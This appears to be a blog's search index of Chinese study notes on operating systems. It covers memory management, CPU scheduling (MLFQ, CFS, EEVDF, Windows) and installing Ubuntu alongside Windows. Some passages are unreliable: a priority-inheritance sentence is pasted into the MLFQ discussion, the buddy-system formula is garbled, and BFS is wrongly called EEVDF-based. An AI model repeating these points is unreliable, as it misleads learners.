两个“空间” # 逻辑地址空间 vs 物理内存空间：这对矛盾，是驱动整个内存管理技术演进的源动力。\n逻辑地址空间（程序看到的世界）要求：连续、从0开始、独立、无限大（理想情况下）。 物理内存空间（硬件提供的现实）是：有限的、可能碎片化的、所有进程共享的、需要竞争的资源。 内存管理的核心任务，就是用物理内存这个有限的现实，去满足多个进程对逻辑地址空间这个无限的理想。\n内存管理的基本功能：\n给进程分配内存——地址空间 往内存加载内容——映射进程地址空间到物理内存 存储保护——地址越界、权限 管理共享的内存 最小化存储访问时间 关于“逻辑地址空间”，和本系列第三章的“进程线程模型”中的“虚拟地址空间”有关系但不完全相同，可以认为前者是一种概念，后则是实现这个概念的一种技术。\n下图是一个典型的逻辑地址空间的布局：\n对于进程的虚拟地址空间更详细的介绍可参考第三章的进程线程模型内容 2. 两个空间地址的重定位（地址如何映射） # 逻辑地址（相对地址，虚拟地址）：用户程序经过编译、汇编后形成目标代码，目标代码通常采用相对地址的形式，其首地址为0，其余指令中的地址都相对于首地址而编址，不能用逻辑地址在内存中读取信息。 物理地址（绝对地址，实地址）：内存中存储单元的地址，可直接寻址。 地址重定位：将用户程序中的逻辑地址转换为运行时可由机器直接寻址的物理地址的过程。目的是保证CPU执行指令时可正确访问内存单元。\n静态地址重定位 # 当程序加载到内存时一次性由装载器实现从逻辑地址到物理地址的转换，一般可以由软件完成。\n动态地址重定位 # 在执行过程中进行地址转换，需要硬件支持。CPU将逻辑地址给硬件内存管理单元MMU，得到物理地址。\n以下是在动态重定位中，硬件和软件分别需要的要求：\n动态重定位的过程由MMU完成，是不需要OS干预的。下面是在操作系统初始化和运行时阶段的有关动态重定位的图示：\n3. 地址绑定时机（地址映射的时机） # 程序执行前的准备过程，可以看出有4种绑定时机 那么程序里的“地址”是在哪个阶段，被最终确定成为物理内存中的“真实地址”的呢？在现代操作系统中一般而言都是运行时绑定，这是出于性能的考虑。\n如果用编译时绑定，会直接生成绝对的物理地址，程序必须加载到固定的内存位置才能运行，这样显然是没有灵活性的，只适合早期单任务系统或极简单的嵌入式设备。\n如果用链接时绑定，链接器将多个.o目标文件合并成可执行文件，并在此时确定各个符号的相对地址（相对于可执行文件起始位置的），程序仍然需要在加载时整体放入内存但不需要固定位置。\n如果是加载时绑定，加载器知道应该放在哪个物理位置，然后将程序的所有地址一次性放在最终转换得到的物理地址；允许程序在加载时选择位置但一旦放入后就不能移动。\n如果是运行时绑定，每次涉及到地址的指令时都通过硬件MMU配合页表来将逻辑地址转换为物理地址，这样性能是最优的。一是因为有CPU内部的TLB的帮助，二是因为虚拟内存技术允许进程的一部分放在内存其余放在磁盘，可以懒分配。这也是最常见的方式。\n4. 地址保护 # 越界 基地址寄存器和界限寄存器：保证CPU访问的地址是在这两个范围内的。（在虚存提出后，每个进程都是一样的地址空间，就不会有越界的问题了，最多是越权）\n越权 三、物理内存空闲管理 # 1. 数据结构 # 位图：每个分配单元对应于位图中的一位，0表示空闲，1表示占用（或者相反） 空闲区表、已分配区表：表中每一项记录了空闲区（或已分配区）的起始地址、长度、标志 空闲块链表：隐式空闲链表、显式空闲链表、分离空闲链表 空闲区表和已分配区表示意图 2. 分配算法 # 考虑的衡量指标：1. 内存资源利用率（内碎片、外碎片）。2. 性能。\n首次适配 first fit：在空闲区表中找到第一个满足进程要求的空闲区 下次适配 next fit：从上次找到的空闲区处接着查找 最佳适配 best fit：查找整个空闲区表，找到能够满足进程要求的最小空闲区 最差适配 worst fit：总是分配满足进程要求的最大空闲区 分离适配算法：核心思想是：将空闲块按照大小分成不同的类别（大小类），每个类别维护一个独立的空闲链表。 3. 回收与合并 # 内存回收算法：当某一块归还后，前后空闲空间合并，修改内存空闲区表。有四种情况：上相邻、下相邻、上下都相邻、上下都不相邻。\n4. 分离适配算法的一些例子 # ⭐伙伴系统 # 一种经典的分离适配算法（或者说一种）：伙伴系统。主要思想是将内存按2的幂进行划分，组成若干空闲块链表；查找该链表找到能满足进程需求的最佳匹配块。算法的流程是，首先将整个可用空间看作一块：$ 2^U $ ，假设进程申请的空间大小为 $ s $ ，如果满足$ 2^{U-1} \\lg s \\le 2^{U} $，则分配整个块；否则，将块划分为两个大小相等的伙伴，大小为 $ 2^{U-1} $ 。一直划分下去直到产生大于或等于 $ s $ 的最小块。\n当合并的时候，每个块只能与其伙伴进行合并（大小相同，位置相邻）。\n一个伙伴系统分配和释放的流程例子 SLAB分配器 # 伙伴系统分配的最小单位是 一页（通常 4KB），但操作系统内核经常需要分配很小的对象，比如进程描述符（task_struct）：约 1-2KB，文件描述符（file 结构体）：几十字节，锁、信号量、缓冲区头等。直接使用伙伴系统会导致内碎片严重且效率低，缓存不友好。伙伴系统管理用户空间的大块内存，对于系统内核的小对象，需要专门的“批发零售”机制，这就引出了SLAB分配：为每种常用大小的对象，预先申请一批内存，内部维护一个“空闲对象池”，分配时直接拿一个，释放时放回池子，避免频繁调用伙伴系统。\n但会维护太多的队列，容易出现锁竞争，提出了改进，如SLUB（数据结构简单）、SLOB（简单紧凑的设计）\n四、内存管理方案的演进 # 注意加载单位是进程，上述都是在把进程的内容都放进内存为前提的，而目前的虚拟内存则是不需要把进程的内容都放进内存的。\n1. 单一连续区 # 一段时间内只有一个进程在内存，用完就出去。\n2. 固定分区 # 先把内存空间分割成固定大小，每个分区只能装一个进程，容易产生内碎片。\n3. ⭐可变分区 # 根据需要分割分区分配给进程，剩余的成为新的空闲区。这样在回收的时候容易形成外部碎片。\n内部碎片和外部碎片 内部碎片(internal fragmentation)：分配给进程的内存块中，未被使用的部分。当分配的内存块大小 大于 进程实际请求的大小的时候会产生，往往是在固定大小分配的场景中会见到。\n外部碎片(external fragmentation)：内存中分散的小空闲块，加起来够大但每个都不够用（内存中散布的太小而无法被利用的空闲块）。当进程被加载、换出、释放后，内存被切割成多个小空闲区时可能产生，往往是在可变大小分配的场景。\n为了解决外碎片，一种方法是紧缩技术(memory compaction)，通过移动正在运行的进程，将分散的小空闲区合并成一个大空闲区，从而能够容纳更大的进程。\n那什么时候做紧凑呢？当分配失败的时候进行按需紧凑，但是分配延迟高；或者定期执行；或者在释放内存时进行但是可能会频繁移动。一般而言现代会使用按需紧凑+定期检查的组合策略。同时，能移动的前提是动态重定位，否则移动后程序会失效。主要的开销是CPU拷贝数据、暂停进程执行的时间、更新紧凑的基址寄存器/页表等等。\n那哪些进程适合移动呢？小进程移动成本低，优先移动；阻塞/睡眠进程容易移动；IO密集进程移动成本高（比如read()系统调用，可能DMA固定把读取的内容放在内存的某个位置，不能随便移动）。其中阻塞态是最佳的，因为不占用CPU可以安全移动。\n下面的页式管理可以有效缓解外部碎片的问题。\n4. 段式管理（分段） # 与分页类似，但是是按照程序自身的逻辑结构来划分内存，每个逻辑单元（如一个代码段、数据段、堆、栈）是一个段。每个进程会有一个段表，存放在内存中，与页表类似进行段的地址的转换。\n5. ⭐页式管理（分页） # 逻辑地址空间划分为大小相等的区域：页 page；物理内存空间按页大小划分为大小相等的区域，称为内存块 page frame。\n内存分配规则：以页为单位进行分配，并按进程需要的页数来分配；逻辑上相邻的页，物理上不一定相邻。典型的页面尺寸：4K或4M。\n为了完成逻辑地址空间的页和物理地址空间的页，引入了页表来对二者的地址进行映射。每个进程一个页表，存放在内存中；页表项记录着逻辑页号与页框号的对应关系。页表的其实地址保存在PCB中。\n有关页表的内容请查看下一章：6-虚拟内存管理的内容。 CPU通过页表来完成地址转换：CPU取到逻辑地址，自动划分为页号和页内地址；用页号查页表（由硬件完成），得到页框号，再与页内地址（页内偏移）拼接为物理地址。\n由于页式也是固定分区类型，仍然会有内碎片问题的存在；但是不会有在物理内存上的外碎片问题（因为连续的逻辑页可以映射到不连续的物理页框）。\n6. 段页式 # 先分段，再分页。这样逻辑地址就是段号+页号+偏移。\n段表：记录了每一段的页表始址和页表长度 页表：记录了逻辑页号与内存块号的对应关系（每一段有一个，一个程序可能有多个页表） 空闲区管理、分配、回收：同页式管理 五、内存“扩充” # 目标：解决在较小的存储空间中运行较大程序时遇到的矛盾（内存不够了怎么办？）\n覆盖技术：按照其自身的逻辑结构将那些不会同时执行的程序段共享同一块内存区域，要求程序各模块之间有明确的调用结构。程序员声明覆盖结构，操作系统完成自动覆盖。 交换技术：内存空间紧张时，系统将内存中某些进程暂时移到外存，把外存中某些进程换进内存，占据前者所占用的区域（进程在内存与外存之间的动态调度）\n交换时机？当系统发现物理内存不足或有不够的危险，且需要为即将运行的程序腾出空间时。 如何选择被换出的进程？不应该换出处于等待IO的进程 换出后再换入的进程不一定回到原处，采用动态重定位，可以换到新的物理地址处，但是通过查页表可以得知虚拟地址位置是不会变的 紧缩技术：在本文第四节的第3部分有介绍到，目的是解决外部碎片，从而来达到产生大片空闲区域。\n","date":"2026/04/16","externalUrl":null,"permalink":"/os/study_notes/5-memory_management/","section":"Operating Systems","summary":"内存管理的演化过程与基本思想","title":"操作系统笔记5：内存管理","type":"os"},{"content":"","date":"2026/04/09","externalUrl":null,"permalink":"/tags/rb-tree/","section":"","summary":"","title":"Rb-Tree","type":"tags"},{"content":"","date":"2026/04/09","externalUrl":null,"permalink":"/tags/scheduler/","section":"","summary":"","title":"Scheduler","type":"tags"},{"content":" 为什么要调度？ 这是在资源池化之后，对资源进行统一管理和共享的方法。\n定义：处理器调度即控制、协调进程对CPU的竞争，按一定的调度算法从就绪队列中选择一个进程，把CPU的使用权交给被选中的进程。如果没有就绪进程，系统会安排一个系统空闲进程或idle进程。\nidle进程 是操作系统的优先级最低的进程，任何普通进程就绪时都会立即抢占idle进程；当CPU没有实际的任务需要运行时就运行idle进程。\n可抢占式的调度器是指当有比正在运行的进程优先级更高的进程就绪（比如新创建的进程、从等待转为就绪等等）时，系统可强行剥夺正在运行进程的CPU，提供给具有更高优先级的进程使用；不可抢占则是一个进程运行后，除非由于自身原因不能运行，会一直运行到结束。(按照这个定义，Round Robin就不算是抢占)\n对于进程执行过程中的行为，有I/O密集型和CPU密集型，前者往往需要较高的优先级，保证响应速度；后者往往给予较低优先级，需要大量CPU时间计算。\n这里解决三个问题：调度时机、过程、算法。\n一、调度时机 # 当：\n进程执行完毕退出 / 由于错误或异常终止 / 需要等待IO操作进入阻塞态如read() / 被阻塞重新回到就绪态 新进程创建 进程用完所分配的时间片回到就绪队列 进程主动放弃CPU 时钟中断 事件发生 → 当前运行的进程暂停运行 → 硬件机制响应后 → 进入操作系统，处理相应的事件 → 结束处理后：\n某些进程的状态会发生变化，也可能又出现了一些新的进程\n→ 就绪队列有调整 → 需要进程调度根据预设的调度算法从就绪 队列选一个进程\n内核对中断/异常/系统调用处理后返回到用户态前最后时刻，调度的过程也是在内核态下完成的。\n二、调度过程 # 过程就是：从就绪队列中选择要运行的进程，可能是新的也可能是被暂停的。前者涉及到进程的切换，恢复现场时需要PCB；后者不需要切换，恢复时只需要去系统栈中。\n对于前者的上下文切换，主要包括切换全局页目录以加载一个新的地址空间，和切换内核栈和硬件上下文。或者说对原来进程的保存和对新进程的恢复。\n而上下文切换是有一定开销的，直接开销就包括上述的保存和恢复、切换地址空间；间接开销则是包括高速缓存和TLB的污染和失效，其对于开销的影响是相当大的。\n三、调度算法 # 这是机制与策略中的策略。至于机制，往往是在事件发生时会进行调度，机制能够保证正确执行。\n1. 考虑因素 # 不同的操作系统有不同的追求目标，对于不同的目标也会有不同对应的调度算法。目标有交互式系统（需要很快响应），批处理系统（不必很快响应，但有高吞吐量和CPU利用率），实时系统（如视频音频，不应被低优先级阻塞）。\n对于调度算法有不同的性能指标：\n吞吐量Throughput - 每单位时间完成的进程数目 周转时间Turnaround Time 响应时间Response Time 对于进程会有优先级，方法是赋予一个优先数字，可以是静态的（在创建时指定）或动态的。\n2. 算法设计 # FIFO/SJF/SRTN # 在批处理式系统中：\nFCFS先来先服务：若长进程先来，会导致短进程的TT（turnaround time）很长。是非抢占式。 SJF短作业优先：但是若短进程后来，仍然会导致TT较长。是非抢占式。 SRTN最短剩余时间优先：SJF的可抢占式。优点是平均TT最短（在所有进程同时可运行时）；但是可能会导致长进程被源源不断的短进程阻塞而饥饿。 HRRN最高响应比优先：响应比=周转时间/处理时间 = 1 + (等待时间/处理时间)。好处是长进程不会造成饥饿，被阻塞时间过长时响应比越大。缺点是实际用处不大。 上述四种都有一个问题，即是在假设已知进程运行时间的前提下进行的调度，但是这显然是不合理的。\nRR 基于时间片 # 在交互式系统中：\nRR轮转调度Round Robin：选择一个合适的时间片，对进程进行轮转执行。若时间片过短，会导致切换进程的时间占主导，浪费时间；若过长，会退化为FCFS，延长了短进程的响应时间。且对于长短进程交织时有利，对于相近时间的则会比FCFS还低效。 注：上述几种算法的详细解释、示例以及算法的启发点可查看：https://pages.cs.wisc.edu/~remzi/OSTEP/cpu-sched.pdf ，很通俗的教材\nMLFQ(Multi-Level Feedback Queue) ⭐Multi-Level Feedback Queue 基于优先级 # 由于对于实际的任务是无法提前得知其运行时间长短的，这个算法是鉴于这个难点上设计的一种从历史中学习并预测未来的方法。这个方法会有一组不同的队列queues，每一个队列都分配了一个不同的优先级priority level。在任意时刻，每个准备运行的任务只会在某一个队列上；优先级最高的队列上的任务优先运行。\n至于优先级，MLFQ会根据任务的运行进行动态调整，一般而言，如果一个任务会长时间占用CPU就给予较低优先级；如果需要频繁放弃CPU(repeatedly relinquish the CPU)来进行IO就给予较高优先级。这样，MLFQ通过尝试学习进程的运行来使用历史以预测其未来的行为。\n这个算法中有这些基本规则：\n如果Priority(A)\u0026gt;Priority(B)，A运行 如果Priority(A)=Priority(B)，A和B以RR算法同时运行 那到底该如何动态调整进程的优先级呢？\n这里给出一个新概念：一个任务的allotment，是这个任务在调度器降低其优先级之前，其在当前优先级所能花费的时间份额。并给出一些新的规则：\n当新任务进入系统时，给其最高优先级 如上图，左侧是一个长运行时间任务先进入系统运行，在100ms的时候进入了第二个短运行时间任务，由于刚刚进入时优先级高所以可以得到优先执行；右侧是在50ms时进入了一个需要频繁IO的任务，由于在IO时放弃CPU，没有消耗完其allotment，保持优先级不变。\n此时问题是，(1)可能会导致饥饿，假如有非常多交互类型的任务，它们的优先级会一直保持很高的水平，导致占用所有的CPU时间，那些需要长时间运行的任务就会饥饿。(2)有心者会故意编写程序，使得任务在allotment用完之前执行一次IO当低优先级进程持有高优先级进程需要的锁时，临时提升低优先级进程的优先级到高优先级进程的级别。来重置时间，保证优先级不变来达到占用CPU的目的。(3)还有可能某些CPU密集型(CPU-bound)任务会变为交互型任务，但是此时其优先级会很低而导致response time极长。\n如何解决呢？这里再给出一个规则：The Priority Boost\n在一段时间S过后，将所有的任务都提升到优先级最高的队列中（注：这里是简化版本，还有其他的boost方法） 此时，对于问题(1)那些长时间运行的任务就不会饥饿，而是回合其他任务一起进行RR调度执行；对于问题(3)也会有机会得到响应。这个S的值的设置似乎是需要“black magic”，是voo-doo constants，值过大或者过小都不好。\n对于问题(2)，最简单的方式就是修改规则4：\n一旦一个任务在某一个优先级用完了其allotmant（不管放弃了多少次CPU），都要降低其优先级 这样就完成了介绍。\n在实际运用中，各个参数需要设计者提供一个默认值（比如需要多少队列、allotment和S值的设置等等），最好提供一个参数表给用户也能自定义。一般还会给不同优先级设置不同的allotment，比如高优先级短一些。\n3. 优先级反转问题 # Priority Inversion，在基于优先级的抢占式调度器中，可能出现的现象：一个低优先级进程持有一个高优先级进程所需要的资源，使得高优先级进程等待低优先级进程运行。\nL（低优先级） 获得锁，进入临界区 H（高优先级） 被唤醒，抢占 CPU，尝试获得同一把锁 → 被阻塞（因为 L 持有锁） M（中优先级） 此时变为可运行（如定时器到期），优先级高于 L M 抢占 CPU，L 无法运行 → L 无法释放锁 → H 永远等不到锁 结果：M 在运行，H 在等待，L 被饿死 解决办法？\n优先级天花板协议：每个锁关联一个\u0026quot;天花板优先级\u0026quot;（等于可能使用该锁的最高优先级进程的优先级）。进程持有锁时，其优先级被提升到该锁的天花板高度。 使用中断禁止：在低优先级进入临界区后禁止被其他任务打断，保证低优先级先完成。 优先级继承：当低优先级进程持有高优先级进程需要的锁时，临时提升低优先级进程的优先级到高优先级进程的级别。 各个调度算法的比较 四、其他算法 # 下面这三个是Proportional-Share scheduler公平共享调度。\nlottery scheduling 彩票调度 # 这是一种基于概率的调度算法。每个进程拥有各自的tickets数目以表示其占据CPU的份额（shares），调度器每隔一段时间（比如一个时间片）就随机挑选一个ticket，选到哪个进程哪个就运行，这是运用了Randomness的思想。\n在具体机制细节上，有几种有效的机制，如：\nticket currency 这是一个支持层次化的机制，核心思想是不同进程组可以拥有自己“本地”的票据，这些票据按不同汇率映射到全局调度使用的“全局票据”。给出的例子如下：\nticket transfer 这是允许ticket在不同进程中暂时转移以达到暂时提高另一个进程的效率的机制。比如在client/server场景中，用户端需要服务器为自己完成一个操作，为了加速完成，用户端可以将tickets传递给服务器；在完成后服务器再传递回来。\nticket inflation 这是允许进程自行增加或减少其ticket的机制，需要用在一组互相信任的进程组中，否则可能会完全占据CPU。\n对于彩票调度，经过实验证明当进程的运行时间较短时并不能保证很好的公平性；且对于进程tickets的初始化也是不好确定的，为此提出一个新的调度方法：stride scheduling（步幅调度）。\nstride scheduling 步幅调度 # 这是一种确定性的公平调度算法，消除了随机性。每个进程有一个stride步幅，这个步幅可以认为是tickets的倒数（比如A和B的tickets是100和200,用1000来除以这俩数得到10和5就可以认为是步幅）。此外每个进程还有一个pass步幅值，运行时每次累加一个步幅。具体流程也很简单，在开始运行时，选择一个最小步幅值pass的进程，运行，然后将其加上其对应的步幅。这样对于小步幅的进程会得到更多次机会运行，也恰好对应了其ticket多（并且是严格按照ticket的比例来获得运行次数的）。\n那为什么还需要随机性的彩票调度呢？因为其拥有一个全局状态。意思是，假设在运行一段时间后来了一个新进程，对于步幅调度而言若将pass值设为0会得不到运行；然后对于彩票调度只需要对其赋予一个ticket，并简单地将全局总ticket数字增加即可。\n⭐The Linux Completely Fair Scheduler # 这里先对Linux调度器的历史做一个简单的介绍：\nLinux 调度器的演进，本质上是对“既要响应快，又要吞吐高，还要公平”这个矛盾的不断平衡。\nLinux 2.4：O(n) 调度器 这是早期的实现。每个进程拥有一个 counter（时间片）和 nice 值（优先级）。每次调度，内核需要遍历所有进程（O(n)）找出优先级最高的进程来运行。当所有可运行进程的时间片都耗尽了，才会重新计算新的时间片。它是非抢占式的，对实时进程的支持很差，高优先级任务也得等低优先级任务主动让出 CPU。\nO(1) 调度器 为了解决遍历开销和实时性问题，O(1) 调度器引入了两个重要的改进：\n优先级数组：维护“活动active”和“过期expired”两个队列，pick next 只需从高位优先级的位图中直接找到下一个任务，时间变为常数级。\n实时优先：实时进程优先级永远高于普通进程，且不会被系统动态修改。\n不过，它计算进程优先级的那套公式比较晦涩，有点black magic的成分。\n过渡与补丁（SD / RSDL） 在 O(1) 之后、CFS 之前，社区尝试了 SD（楼梯调度） 和 RSDL（旋转楼梯） 等补丁。它们试图解决 O(1) 调度器在某些负载下“交互性判断不准”的问题，为后来 CFS 的完全公平思想做了铺垫。\nLinux 2.6~6.10：CFS（完全公平调度器） 这是 Linux 目前的核心调度器。它将调度逻辑统一为：\n普通进程：使用 CFS。核心思想是“虚拟运行时间”（vruntime），选择 vruntime 最小的进程运行，本质上模拟了一个无限精确的公平队列。\n实时进程：依然使用 FIFO（先进先出）或 RR（时间片轮转）策略，保证对硬实时和软实时任务的快速响应。\nLinux 6.11之后：EEVDF调度器 CFS 从RSDL/SD中吸取了完全公平的思想，不再跟踪进程的睡眠时间， 也不再企图区分交互式进程。CFS算法中，每个进程都有一个“虚拟运行时间”(virtual runtime,vruntime)表示该进程运行了“多长时间”，而调度器会选择虚拟运行时间最小的进程来运行。虚拟运行时间的计算与进程实际运行时间成正比，而与进程优先级成反比（这也很好理解，成反比才能保证优先级越高，实际运行时间越长）。CFS以虚拟运行时间作为键值构造一棵红黑树，从而实现了快速更新和删除。\nFrom stackoverflow: what-is-the-concept-of-vruntime-in-cfs 不同的nice值会对应不同的weight权重，在v2.6:/kernel/sched.c中有一个对应关系的数组：\nhttps://elixir.bootlin.com/linux/v2.6.39.4/source/kernel/sched.c#L1373 使用权重，可以计算分配给每个进程的时间片：\n$$\r\\text{time-slice}_k=\\displaystyle\\frac{\\text{weight}_k}{\\sum_{i=0}^{n-1}\\text{weight}_i} \\cdot \\text{sched-latency}\r$$其中sched_latency是CFS用来决定一个进程在进行切换之前能运行多久的时间，一般而言其值为48ms。也可以叫做调度周期，因为在这一个时间段内会将所有RUNNING态进程都调度执行一遍（公平性）。那当进程太多的时候，为了保证每个进程的运行时间不会太短，会有另外的参数min_granularity保证每个进程至少会运行的ms数。\n注意这里的time_slice还是实际的物理时间，而要计算vruntime还需要再利用权重调整增加速率。公式如下：\n$$\r\\text{vruntime}_i = \\text{vruntime}_i + \\displaystyle\\frac{\\text{weight}_0}{\\text{weight}_i} \\cdot \\text{runtime}_i\r$$可以发现，nice值越低，weight权重越大，vruntime增加的速率越慢。这样就有更多机会得到调度运行机会。\n现在问题来了：如何在众多可运行进程中找出当前最小的vruntime的呢？CFS采用了一种高效的数据结构：红黑树（Red-Black Tree）。以 vruntime 为键值，最左节点就是最小 vruntime 的进程，查找时间为 O(1)（在具体实现中会对最左节点进行缓存），插入和删除为 O(log n)，兼顾了公平与效率。\nTIP 有关红黑树的具体定义请参考上面文字链接中的wikipedia内容；有关其在Linux内核中的原始声明和定义，以及使用的方式可参考我写的另一篇文章：\nLinux虚拟内存系统与红黑树的应用浅析 2026/02/23\u0026middot;Updated: 2026/05/07\u0026middot;4294 words\u0026middot;22 mins\u0026middot; loading \u0026middot; loading 红黑树在Linux中的定义声明，和简单的使用方法；对container_of宏的解析 关于此处的具体代码细节如下：\n在task_struct中有struct sched_entity se，这个结构体用于实现对单个任务的调度的信息，在这个结构体中嵌入了一个红黑树节点struct rb_node run_node；同时这个结构体中还有u64 vruntime。那么在拥有节点指针后，可以通过container_of宏来获得这个节点所处的se结构体指针，进而取得内部的vruntime值进行比较，更新红黑树结构。（关于这个宏的解析也请参考上方TIP下面的文章）\n这里还有一些问题：休眠进程的vruntime一直保持不变吗？休眠进程在唤醒时会立刻抢占CPU吗？实际上，假设保持不变，很容易引起饥饿问题。解决的办法是，取当前红黑树中最小的vruntime，赋值休眠醒来的进程。\n第四部分的总结：\nLottery uses random-ness in a clever way to achieve proportional share; stride does so deter-ministically. CFS, the only “real” scheduler discussed in this chapter, is abit like weighted round-robin with dynamic time slices, but built to scaleand perform well under load; to our knowledge, it is the most widely used fair-share scheduler in existence today.\n五、一些实例 # Windows线程调度 # 调度单位是线程，采用基于动态优先级的、抢占式调度，结合时间配额调整。使用32个线程优先级，分为三类：0号是系统线程；1-15是可变优先级；16-31是实时优先级，优先级不会改变。\n引起线程调度的条件增加了：\n线程优先级改变 线程改变了其亲和处理机集合 亲和性 是指线程可以绑定到指定的 CPU 核心上运行，而不是在所有核心之间随意迁移。\n交互式线程和I/O 密集型线程的优先级会得到动态提升，而计算密集型线程（长时间占用 CPU 的线程）优先级反而会被衰减。\n对于大体的调度策略有三种情况：\n主动让出CPU,线程从运行态转为阻塞态，由下一个高优先级运行。 抢占，此时对于被抢占的进程会回到原来一个优先级的队首，若其是实时优先级，时间配额重置为完整的一个；若其是可变优先级，时间配额不变，运行刚刚剩余的时间配额（这里和MLFQ中的规则4有一定差别，主要是因为Windows线程的优先级类别的差异导致的）。 时间配额用完，通常来说会回到原来那一级的队尾，选择该队列的队首线程，若没有则让A继续运行。 调度策略中还有细节的处理，如该如何体现对某类线程的倾向性？如何改善吞吐量？等等。解决方案，一是提升线程优先级，二是给线程分配一个很大的时间配额。对于下面五种情况会提升线程当前优先级：\nI/O操作完成 信号量或事件等待结束 前台进程中的线程完成一个等待操作 由于窗口活动而唤醒窗口线程 线程处于就绪态超过了一定的时间还没有运行，即“饥饿”现象 对于第五点，系统线程有平衡集管理器每秒钟扫描一次就绪队列，发现其中存在的排队超过300个时钟中断间隔的线程，提升优先级到15分配4倍正常值的时间配额，用完后立即衰减到原先优先级。（也算是一种priority boost）\n一般而言在线程的时间配额用完后会对优先级进行回调。\n多处理器调度 # 多个处理器组成一个多处理机系统，处理器之间可负载共享。（还有一种对称多处理器调度SMP(Symmetric MultiProcessing)，每个处理器运行自己的调度程序，对共享资源的访问需要进行同步）\n此时设计算法时需要考虑进程需要在哪一个CPU上执行；考虑进程在多个CPU之间迁移的开销（如高速缓存和TLB失效）；考虑负载均衡。（对于SMP有静态进程分配和动态，前者负载可能不均衡，后者调度开销大）总的来说需要考虑的有：\n缓存一致性(Cache Coherence)：因为对于单核而言，为了加速CPU访问主存的速度引入了高速缓存，但是在多核中，每个处理器都有自己的高速缓存，然而主存是只有一个的，于是就引起了一致性问题。可以使用总线嗅探(Bus Snooping)，即所有核心通过共享总线监听其他核心的读写操作来解决，典型协议有MESI协议。 缓存亲和性(Cache Affinity) 核间数据共享 负载均衡：作业偷取 数据同步(Synchronization)：虽然可以用锁解决但是当CPU数增加时效率会很低。 负载均衡想把任务挪走，而缓存亲和性想把任务留住，二者之间有一定的冲突。缓存亲和性考虑的是如何利用已有的缓存数据。它倾向于让一个线程始终在同一个核心上运行，这样该核心的 L1/L2 缓存中已经缓存了该线程的数据，无需重新加载（避免缓存未命中）。而负载均衡考虑的是如何压榨所有核心的算力。它倾向于把任务从忙的核心挪到闲的核心，确保所有核心都有活干，避免“一核有难，多核围观”。\n事实上，在Linux中，O(1) / CFS / BFS(BF Scheduler, based on EEVDF)这三种都是多处理器调度，O(1)和CFS都使用的是多个队列，而BFS使用的是一个队列。O(1)是以优先级为基础（类似于MLFQ），交互性是首要任务；CFS则是以公平共享为基础的（类似于彩票调度）；BFS也是以公平共享为基础的。\n对于队列的一或者多引出的讨论：一个队列的话实现很方便，但是使用锁来保持同步会导致可拓展性(scalability)降低，且当CPU增多时会导致性能降低；同时对于缓存亲和性也是不友好的（有一个解决办法是让尽量少的任务在各个CPU之间轮转，其余的尽量保持同一个CPU不变）。而对于多个队列，相较于前者，缓存亲和性问题得到了一定解决，但是又引出了新的问题即负载不均衡，给出的解决策略是作业偷取(work stealing)。\n实时调度 # 目的？对外部请求在严格时间内做出反应；高可靠性。硬实时要求必须在截止时间前完成，软实时允许超时。\n有三种模型：周期性任务、偶发性、非周期性。如果有多个周期事件，若每个事件所需要的CPU时间 / 周期 的总和小于等于1则是可调度的。\n有两种算法：速率单调（所有任务都是周期，静态）和最早截止时间优先（动态）\n","date":"2026/04/09","externalUrl":null,"permalink":"/os/study_notes/4-scheduling/","section":"Operating Systems","summary":"各种常见经典的调度算法，以及在Linux中真实的CFS调度、在Windows中线程调度介绍","title":"操作系统笔记4：进程与线程调度","type":"os"},{"content":"","date":"2026/04/07","externalUrl":null,"permalink":"/tags/boot/","section":"","summary":"","title":"Boot","type":"tags"},{"content":"","date":"2026/04/07","externalUrl":null,"permalink":"/series/operating-systems/","section":"Series","summary":"","title":"Operating Systems","type":"series"},{"content":" 准备工作 # Rufus工具（官网） 系统镜像ISO文件（官网，我下载的是Ubuntu 25.10） 一个U盘（有20gb就够了） 电脑 为什么要用Rufus和一个U盘？请见额外知识补充部分。 下载过程 # 下载并打开Rufus。 插入空的USB盘，我的是50GB。制作过程会格式化 U 盘，确保里面没有重要文件。 打开 Rufus，按以下设置： 设备：选择 U 盘 引导类型选择：点击\u0026quot;选择\u0026quot;，找到下载的 Ubuntu ISO 文件 分区类型：GPT（较新电脑）或 MBR（老电脑）。我选择的是GPT。 其他选项保持默认 点击\u0026quot;开始\u0026quot;，等待写入完成（约 5-10 分钟） 图1：在点击开始之前的设置截图 在Windows中压缩卷分配内存空间： 由于我个人的电脑的d盘有700GB，内存仍然十分充裕，所以选择将其进行分区，也就是划分出来一部分空闲内存给即将要安装的操作系统使用。具体的操作办法是：\n右键点击\u0026quot;此电脑\u0026quot; → \u0026ldquo;管理\u0026rdquo; → \u0026ldquo;磁盘管理\u0026rdquo; 找到 D 盘，右键点击 → \u0026ldquo;压缩卷\u0026rdquo; 输入你想分配给 Ubuntu 的空间大小（我选择了35GB = 35840MB，建议至少30GB） 点击\u0026quot;压缩\u0026quot;，会出现一块\u0026quot;未分配\u0026quot;的黑色区域，并保持未分配状态 图2：压缩卷后得到的35GB空闲区域 进入BIOS从USB启动 重启电脑，在开机时反复按启动热键（这个因电脑品牌不同有差别，可自行搜索，我的是机械革命，按f10）。\n图3：进入BIOS界面 选择第一个UEFI开头的启动设备，这个就是刚刚插入的U盘。接着就是进行Ubuntu的安装和配置了，在出现下图之前是不需要操作的。\n图4：首次进入Ubuntu界面 接下来就是正常的配置，选择语言、时区、设置用户名密码等常规选项，其中有一项需要特别选择，在disk setup中选择manual installation，在下一步中就可以选择刚刚压缩出来的空闲空间进行分区了，为了方便起见，我直接为根分区/设置了35GB的空间。\n图5：手动设置 图6：选择刚刚压缩卷产生的空闲区域 图7：为根目录/设置35gb的分区 最后点击下载ubuntu而不是体验，就到达最后安装的流程了，需要等待一小段时间。\n图8：安装完成 完成 这样每次在开启电脑的时候，默认会进入原先的Windows系统，但是可以按启动热键，选择进入Ubuntu系统。\n额外知识补充 # 计算机是如何启动的？ # 此处参考来源：https://www.ruanyifeng.com/blog/2013/02/booting.html\n当我们按下电源键的那一刻，计算机不会直接立即进入操作系统（比如我们刚刚下载的Linux），而是要经历一系列严格定义的步骤。\n一、从加电到固件启动\n可以用一句谚语来形容计算机的启动：\npull oneself up by one\u0026#39;s bootstraps. 